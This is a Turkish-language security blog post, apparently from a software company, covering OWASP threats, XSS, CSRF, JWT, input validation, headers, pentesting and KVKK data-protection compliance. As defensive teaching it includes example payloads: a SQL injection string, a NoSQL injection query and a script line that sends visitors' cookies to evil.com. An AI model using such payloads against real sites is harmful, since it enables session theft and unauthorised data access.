Siber Güvenlik: Yazılım Projelerinde Güvenlik Önlemleri

Güvenlik, yazılım projelerinde genellikle "sonra hallederiz" denen konuların başında gelir. Ürün çıkacak, müşteri bekliyor, deadline yaklaşıyor. Güvenlik testi sonraya kalır. Ta ki bir gün müşteri veritabanınızın internette satıldığını öğrenene kadar. 2025 yılında Türkiye'de yaşanan büyük veri ihlalleri, güvenliğin lüks değil zorunluluk olduğunu bir kez daha gösterdi. Bu yazıda yazılım projelerinizde uygulamanız gereken temel güvenlik önlemlerini pratik bir şekilde ele alıyoruz.

OWASP Top 10: Bilmeniz Gereken Tehditler

OWASP (Open Web Application Seçurity Project), web uygulama güvenliğinin referans noktasıdır. OWASP Top 10 listesi, en yaygın ve en tehlikeli web güvenlik açıklarını sıralar. Her yazılım geliştiricinin bu listeyi bilmesi gerekir.

Broken Access Control (Bozuk Erişim Kontrolü)

OWASP listesinin birinci sırasındadır ve en yaygın güvenlik açığıdır. Kullanıcıların yetkisi olmayan kaynaklara erişebilmesidir. Örneğin, bir kullanıcı URL'deki ID'yi değiştirerek başka bir kullanıcının profilini görebiliyorsa, erişim kontrolü kırılmış demektir. /api/orders/123 endpoint'ine istek atan kullanıcının gerçekten sipariş 123'ün sahibi olup olmadığı her zaman kontrol edilmelidir.

Çözüm: Her API endpoint'inde ve her veritabanı sorgusunda yetkilendirme kontrolü yapın. "Bu kullanıcı bu kaynağa erişebilir mi?" sorusunu her istek için sorun. Frontend'deki kontrollere güvenmeyin; backend'de mutlaka doğrulama yapın. API geliştirme rehberimizde güvenlik prensiplerini daha detaylı ele alıyoruz.

Injection Saldırıları

SQL Injection: Kullanıcıdan gelen verinin doğrudan SQL sorgusuna eklenmesiyle oluşur. Klasik örnek: giriş formunda kullanıcı adı yerine ' OR 1=1 -- yazmak. Bu basit payload, kötü yazılmış bir sistemde tüm kullanıcı verilerine erişim sağlayabilir.

Çözüm: Parametreli sorgular (prepared statements) kullanın. ORM kullanıyorsanız bile, raw query yazdığınız her yerde parametreleri bind edin. Kullanıcı girdisini asla doğrudan SQL'e eklemeyin. Node.js'te db.query('SELECT * FROM users WHERE id = $1', [userId]) şeklinde parametreli sorgu kullanmak SQL injection'ı kökten engeller.

NoSQL Injection: MongoDB gibi NoSQL veritabanlarında da injection mümkündür. JSON tabanlı sorgularda kullanıcı girdisi operatör olarak yorumlanabilir. {"username": {"$gt": ""}, "password": {"$gt": ""}} gibi bir payload tüm kayıtları döndürebilir.

XSS (Cross-Site Scripting) Koruması

XSS, saldırganın web sayfasına zararlı JavaScript kodu enjekte etmesidir. Üç türü vardır:

• Stored XSS: Zararlı kod veritabanına kaydedilir ve her kullanıcıya sunulur. Bir forumda yorum olarak yazılan <script>document.location='https://evil.com/steal?c='+document.cookie</script> kodu, sayfayı ziyaret eden herkesin çerezini çalabilir.
• Reflected XSS: Zararlı kod URL parametresinde taşınır ve sayfada yansıtılır. Arama sonuç sayfalarında sık görülür.
• DOM-based XSS: Client-side JavaScript'in DOM'u güvenli olmayan şekilde manipüle etmesiyle oluşur.

Korunma yöntemleri:

• Tüm kullanıcı girdilerini çıktı noktasında encode edin. HTML kontekstinde HTML encoding, JavaScript kontekstinde JavaScript encoding, URL kontekstinde URL encoding yapın.
• Content Seçurity Policy (CSP) header'ı kullanın. CSP, sayfada hangi kaynakların çalıştırılabileceğini tarayıcıya söyler. Inline script'leri yasaklayan bir CSP, XSS'in etkisini büyük ölçüde azaltır.
• React, Vue gibi modern framework'ler varsayılan olarak output encoding yapar. Ancak dangerouslySetInnerHTML (React) veya v-html (Vue) gibi özellikleri kullanırken dikkatli olun; bu noktalar XSS'e açık kapı bırakır.

CSRF (Cross-Site Request Forgery) Koruması

CSRF, kullanıcının tarayıcısını kandırarak yetkili işlemler yaptırma saldırısıdır. Kullanıcı bankasına giriş yapmış durumdayken, zararlı bir web sitesi kullanıcının tarayıcısı üzerinden bankaya para transferi isteği gönderebilir. Tarayıcı otomatik olarak çerezleri ekler, banka isteğin gerçek kullanıcıdan geldiğini sanır.

Korunma yöntemleri:

• CSRF Token: Her form için sunucu tarafında rastgele bir token oluşturulur ve forma hidden field olarak eklenir. İstek geldiğinde token doğrulanır. Saldırgan bu token'ı bilmediği için sahte istek oluşturamaz.
• SameSite Cookie: Çerezlere SameSite=Strict veya SameSite=Lax özelliği eklemek, farklı site'lerden gelen isteklerde çerezlerin gönderilmesini engeller. Modern tarayıcılarda varsayılan olarak SameSite=Lax uygulanır.
• Custom Header Kontrolü: API isteklerinde X-Requested-With gibi özel header'lar zorunlu tutulabilir. Tarayıcılar cross-origin isteklerde bu header'ları otomatik eklemez.

Kimlik Doğrulama: JWT ve OAuth

JWT (JSON Web Token)

JWT, kullanıcı kimliğini doğrulamak için yaygın olarak kullanılan token tabanlı bir yöntemdir. Kullanıcı giriş yaptığında sunucu bir JWT oluşturur ve istemciye gönderir. Sonraki isteklerde bu token header'da gönderilir.

JWT güvenliğinde dikkat edilmesi gerekenler:

• Token'ları httpOnly ve seçure flag'li çerezlerde saklayın. localStorage'da saklamak XSS saldırılarına karşı savunmasızdır.
• Token süresini kısa tutun (15-30 dakika). Refresh token mekanizması ile kullanıcı deneyimini bozmadan güvenliği artırın.
• Algoritma olarak HS256 yerine RS256 tercih edin; özellikle mikroservis mimarilerinde asimetrik imzalama daha güvenlidir.
• Token'a hassas bilgi koymayın. JWT payload'ı Base64 ile encode edilir, şifrelenmez. Herkes içeriğini okuyabilir.

OAuth 2.0

OAuth 2.0, üçüncü parti uygulamalara sınırlı erişim vermek için tasarlanmış bir yetkilendirme protokolüdür. "Google ile giriş yap" veya "GitHub ile giriş yap" gibi özellikler OAuth üzerine kuruludur. OAuth'un farklı grant type'ları (Authorization Code, Client Credentials, PKCE) farklı senaryolar için uygundur. Web uygulamaları için Authorization Code with PKCE güncel en iyi pratiktir.

Input Validation: Güvenliğin Temeli

Kullanıcıdan gelen her veri potansiyel olarak zararlıdır. Güvenli bir uygulama, gelen her veriyi doğrular ve temizler:

• Whitelist yaklaşımı: İzin verilen karakterleri ve formatları tanımlayın. E-posta adresi belirli bir formatta olmalıdır, telefon numarası sadece rakam ve belirli karakterler içermelidir.
• Uzunluk sınırları: Her alanın maksimum ve minimum uzunluğunu belirleyin. Kullanıcı adı 3-50 karakter, açıklama alanı maksimum 5000 karakter gibi. Bu, buffer overflow ve DoS saldırılarına karşı ilk savunma hattıdır.
• Tip kontrolü: Sayı beklenen yere string gelmemeli, tarih beklenen yere rastgele metin girmemelidir. TypeScript kullanmak ve Zod, Joi gibi doğrulama kütüphaneleri uygulamak bu kontrolü otomatikleştirir.
• Dosya yükleme kontrolü: Dosya uzantısına güvenmeyin, MIME type'ı kontrol edin. Yüklenen dosyaları uygulama dizini dışında saklayın. Dosya boyutunu sınırlayın. Resim dosyalarını yeniden işleyerek (re-encode) gizli payload'ları temizleyin.

HTTPS ve Güvenlik Başlıkları

HTTPS, client ile sunucu arasındaki tüm trafiği şifreler. 2026'da HTTP üzerinden herhangi bir uygulama sunmak kabul edilemez. Let's Encrypt ile ücretsiz SSL sertifikası alabilirsiniz. Tüm HTTP trafiğini HTTPS'e yönlendirin.

HTTP güvenlik başlıkları, tarayıcının uygulamanızla nasıl etkileşim kuracağını kontrol eder. Temel güvenlik başlıkları:

• Strict-Transport-Seçurity (HSTS): Tarayıcıya yalnızca HTTPS üzerinden bağlanmasını söyler. max-age=63072000; includeSubDomains değeri ile 2 yıl boyunca tüm alt domainler dahil HTTPS zorunlu olur.
• Content-Seçurity-Policy (CSP): Sayfada çalıştırılabilecek kaynakları sınırlar. XSS'e karşı en güçlü savunma hattıdır.
• X-Content-Type-Options: nosniff: Tarayıcının MIME type tahmin etmesini engeller.
• X-Frame-Options: DENY: Sayfanın iframe içinde gösterilmesini engeller, clickjacking saldırısını önler.
• Referrer-Policy: strict-origin-when-cross-origin: Referrer bilgisinin sızmasını kontrol eder.
• Permissions-Policy: Kamera, mikrofon, geolocation gibi tarayıcı özelliklerine erişimi kontrol eder.

Bağımlılık Güvenliği

Modern yazılım projelerinde kodun büyük kısmı üçüncü parti kütüphanelerden gelir. Bir Node.js projesinde yüzlerce npm paketi bulunabilir ve bu paketlerin herhangi birinde bir güvenlik açığı tüm sistemi riske atar.

• npm audit veya yarn audit komutlarını CI/CD pipeline'ına ekleyin. Bilinen güvenlik açığı olan bağımlılıkları tespit edin.
• Snyk, Dependabot veya Socket gibi araçlarla bağımlılıkları sürekli izleyin. Bu araçlar yeni güvenlik açıkları keşfedildiğinde otomatik bildirim gönderir ve düzeltme PR'ları oluşturur.
• Bağımlılıklarınızı düzenli olarak güncelleyin. Eski versiyonlarda kalmak güvenlik riskini artırır. Ancak her güncellemeyi test edin; kırıcı değişiklikler (breaking changes) olabilir.
• Lock dosyalarını (package-lock.json, yarn.lock) daima commit edin. Bu, build'ler arasında bağımlılık tutarlılığını sağlar.

Penetrasyon Testi Temelleri

Penetrasyon testi (pentest), sisteminizin güvenliğini saldırgan perspektifinden test etmektir. Manuel veya otomatize araçlarla yapılabilir:

Otomatize Araçlar: OWASP ZAP (ücretsiz ve açık kaynak) veya Burp Suite (profesyonel) ile web uygulamalarını tarayabilirsiniz. Bu araçlar bilinen güvenlik açıklarını otomatik olarak tespit eder. CI/CD pipeline'ına entegre edilebilir; her deploy öncesi otomatik güvenlik taraması yapılabilir.

Manuel Pentest: Otomatize araçlar her şeyi yakalayamaz. İş mantığı açıkları (business logic flaws), yetkilendirme bypass'ları ve karmaşık saldırı zincirleri manuel test gerektirir. Yılda en az bir kez profesyonel bir pentest şirketinden güvenlik değerlendirmesi yaptırmak tavsiye edilir.

Pentest süreci genellikle şu adımlardan oluşur: keşif (reconnaissance), tarama (scanning), erişim elde etme (gaining access), erişimi sürdürme (maintaining access) ve raporlama. Raporlama aşamasında bulunan açıklar kritiklik seviyelerine göre sınıflandırılır ve düzeltme önerileri sunulur.

KVKK Uyumluluk Değerlendirmeleri

Türkiye'de kişisel verilerin korunması KVKK (6698 sayılı Kişisel Verilerin Korunması Kanunu) ile düzenlenmektedir. Yazılım projeleri açısından KVKK uyumluluğu hem teknik hem de hukuki boyutlara sahiptir. Geliştirdiğimiz projelerde KVKK uyumunu baştan tasarıma dahil ediyoruz:

• Veri minimizasyonu: Yalnızca ihtiyaç duyulan kişisel verileri toplayın. Kullanıcıdan gereksiz bilgi istemeyin. Kayıt formunda TC kimlik numarası gerçekten gerekli mi? Çoğu durumda değildir.
• Açık rıza: Kişisel verileri toplamadan önce kullanıcıdan açık ve bilgilendirilmiş rıza alın. Önceden işaretlenmiş kutucuklar açık rıza sayılmaz.
• Veri şifreleme: Kişisel veriler hem iletim sırasında (HTTPS) hem de depolamada (AES-256) şifrelenmelidir. Özellikle şifreler bcrypt veya Argon2 ile hash'lenmelidir; MD5 veya SHA1 kullanmayın.
• Veri silme ve anonimleştirme: Kullanıcı hesabını sildiğinde kişisel verileri gerçekten silin veya anonimleştirin. "Soft delete" yapıyorsanız, kişisel verileri ayrıca temizlemeyi unutmayın.
• Veri ihlali bildirimi: Bir veri ihlali yaşanması durumunda 72 saat içinde Kişisel Verileri Koruma Kurulu'na bildirim yapma yükümlülüğünüz vardır. Bu nedenle ihlal tespit ve raporlama mekanizmalarınızın hazır olması gerekir.

Güvenlik Kültürü Oluşturmak

Güvenlik sadece araçlar ve teknik önlemlerle sağlanmaz. Ekibinizde bir güvenlik kültürü oluşturmanız gerekir:

• Code review sürecinde güvenlik kontrollerini checklist'e ekleyin. Input validation yapılmış mı? Yetkilendirme kontrol ediliyor mu? Hassas veri loglanıyor mu?
• Yeni ekip üyelerine güvenlik oryantasyonu verin. OWASP Top 10'u anlatın, yaygın hataları örneklerle gösterin.
• Güvenlik açıklarını cezalandırmayın, ödüllendirin. Ekip üyesi bir güvenlik açığı bulduğunda bunu raporlaması teşvik edilmeli, gizlenmesi değil.
• Düzenli güvenlik eğitimleri düzenleyin. Saldırı teknikleri sürekli gelişiyor; ekibinizin güncel kalması şarttır.

Güvenlik bir özellik değil, bir süreçtir. Bir kez yapıp bırakılacak bir iş değildir. Her sprint'te, her deploy'da, her code review'da güvenlik göz önünde bulundurulmalıdır.

Alphacore olarak güvenliği geliştirme sürecinin her aşamasına entegre ediyoruz. Projelerimizde OWASP standartlarına uygun kod geliştiriyor, otomatik güvenlik taramaları uyguluyoruz ve düzenli pentest değerlendirmeleri yapıyoruz. KVKK uyumluluğunu da geliştirme aşamasında ele alıyor, kişisel veri işleme süreçlerini mevzuata uygun şekilde tasarlıyoruz. Güvenlik sonradan eklenen bir katman değil, temelden inşa edilen bir yapı olmalıdır.